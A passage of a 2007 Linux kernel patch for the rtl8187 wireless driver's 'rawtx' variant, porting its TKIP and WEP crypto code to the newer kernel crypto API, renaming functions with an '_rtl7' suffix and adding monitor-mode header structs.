crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,19 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +412,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +424,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +472,26 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,13 +525,22 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } @@ -445,15 +552,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +599,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +611,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-07-13 01:46:05.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-07-13 01:46:10.000000000 +0200 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss workqueue to terminate * without wait for the syncro scan to terminate */ - short sync_scan_hurryup; - + short sync_scan_hurryup; + /* map of allowed channels. 0 is dummy */ // FIXME: remeber to default to a basic channel plan depending of the PHY type int channel_map[MAX_CHANNEL_NUMBER+1]; - + int rate; /* current rate */ int basic_rate; //FIXME: pleace callback, see if redundant with softmac_features short active_scan; - + /* this contains flags for selectively enable softmac support */ u16 softmac_features; - + /* if the sequence control field is not filled by HW */ u16 seq_ctrl; - + /* association procedure transaction sequence number */ u16 associate_seq; - + /* AID for RTXed association responses */ u16 assoc_id; - + /* power save mode related*/ short ps; short sta_sleep; @@ -970,147 +986,153 @@ struct tasklet_struct ps_task; u32 ps_th; u32 ps_tl; - + short raw_tx; /* used if IEEE_SOFTMAC_TX_QUEUE is set */ short queue_stop; short scanning; short proto_started; - + struct semaphore wx_sem; struct semaphore scan_sem; - - spinlock_t mgmt_tx_lock; + + spinlock_t mgmt_tx_lock; spinlock_t beacon_lock; short beacon_txing; short wap_set; short ssid_set; - + /* for discarding duplicated packets in IBSS */ struct list_head ibss_mac_hash[IEEE_IBSS_MAC_HASH_SIZE]; - + /* for discarding duplicated packets in BSS */ u16 last_seq_num; u16 last_frag_num; unsigned long last_packet_time; - + /* for PS mode */ unsigned long last_rx_ps_time; - + /* used if IEEE_SOFTMAC_SINGLE_QUEUE is set */ struct sk_buff *mgmt_queue_ring[MGMT_QUEUE_NUM]; int mgmt_queue_head; int mgmt_queue_tail; - - + + /* used if IEEE_SOFTMAC_TX_QUEUE is set */ struct tx_pending_t tx_pending; - + /* used if IEEE_SOFTMAC_ASSOCIATE is set */ struct timer_list associate_timer; /* used if IEEE_SOFTMAC_BEACONS is set */ struct timer_list beacon_timer; - + struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; - + struct workqueue_struct *wq; /* Callback functions */ void (*set_security)(struct net_device *dev, struct ieee80211_security *sec); - + /* Used to TX data frame by using txb structs. * this is not used if in the softmac_features * is set the flag 